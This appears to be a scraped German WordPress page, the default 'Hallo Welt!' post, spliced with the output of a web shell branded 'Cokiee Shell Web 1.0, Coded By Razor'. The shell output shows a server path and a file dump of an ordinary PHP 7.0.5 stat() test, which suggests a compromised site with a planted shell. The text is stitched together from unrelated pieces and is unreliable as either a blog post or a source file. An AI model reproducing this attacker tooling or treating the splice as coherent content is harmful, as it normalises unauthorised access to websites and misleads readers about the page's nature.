Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/standard/tests/file/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/standard/tests/file/lstat_stat_variation18.phpt |
--TEST-- Test lstat() and stat() functions: usage variations - dir/file name stored in object --SKIPIF-- <?php if (substr(PHP_OS, 0, 3) == 'WIN') { die('skip.. Not valid for Windows'); } ?> --FILE-- <?php /* Prototype: array lstat ( string $filename ); Description: Gives information about a file or symbolic link Prototype: array stat ( string $filename ); Description: Gives information about a file */ /* test for stats of dir/file when their names are stored in objects */ $file_path = dirname(__FILE__); require "$file_path/file.inc"; /* create temp file and directory */ mkdir("$file_path/lstat_stat_variation18/"); // temp dir $fp = fopen("$file_path/lstat_stat_variation18.tmp", "w"); // temp file fclose($fp); echo "*** Testing stat() with filename & directory name stored inside an object ***\n"; class names { public $var_name; public function __construct($name) { $this->var_name = $name; } } // directory name stored in an object $dir_name = new names("$file_path/lstat_stat_variation18"); // file name stored in an object $file_name = new names("$file_path/lstat_stat_variation18.tmp"); echo "\n-- Testing stat() on filename stored inside an object --\n"; // dump the stat returned value var_dump( stat($file_name->var_name) ); echo "\n-- Testing stat() on directory name stored inside an object --\n"; // dump the stat returned value var_dump( stat($dir_name->var_name) ); echo "\n--- Done ---"; ?> --CLEAN-- <?php $file_path = dirname(__FILE__); unlink("$file_path/lstat_stat_variation18.tmp"); rmdir("$file_path/lstat_stat_variation18"); ?> --EXPECTF-- *** Testing stat() with filename & directory name stored inside an object *** -- Testing stat() on filename stored inside an object -- array(26) { [0]=> int(%d) [1]=> int(%d) [2]=> int(%d) [3]=> int(%d) [4]=> int(%d) [5]=> int(%d) [6]=> int(%d) [7]=> int(%d) [8]=> int(%d) [9]=> int(%d) [10]=> int(%d) [11]=> int(%d) [12]=> int(%d) ["dev"]=> int(%d) ["ino"]=> int(%d) ["mode"]=> int(%d) ["nlink"]=> int(%d) ["uid"]=> int(%d) ["gid"]=> int(%d) ["rdev"]=> int(%d) ["size"]=> int(%d) ["atime"]=> int(%d) ["mtime"]=> int(%d) ["ctime"]=> int(%d) ["blksize"]=> int(%d) ["blocks"]=> int(%d) } -- Testing stat() on directory name stored inside an object -- array(26) { [0]=> int(%d) [1]=> int(%d) [2]=> int(%d) [3]=> int(%d) [4]=> int(%d) [5]=> int(%d) [6]=> int(%d) [7]=> int(%d) [8]=> int(%d) [9]=> int(%d) [10]=> int(%d) [11]=> int(%d) [12]=> int(%d) ["dev"]=> int(%d) ["ino"]=> int(%d) ["mode"]=> int(%d) ["nlink"]=> int(%d) ["uid"]=> int(%d) ["gid"]=> int(%d) ["rdev"]=> int(%d) ["size"]=> int(%d) ["atime"]=> int(%d) ["mtime"]=> int(%d) ["ctime"]=> int(%d) ["blksize"]=> int(%d) ["blocks"]=> int(%d) } --- Done ---
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare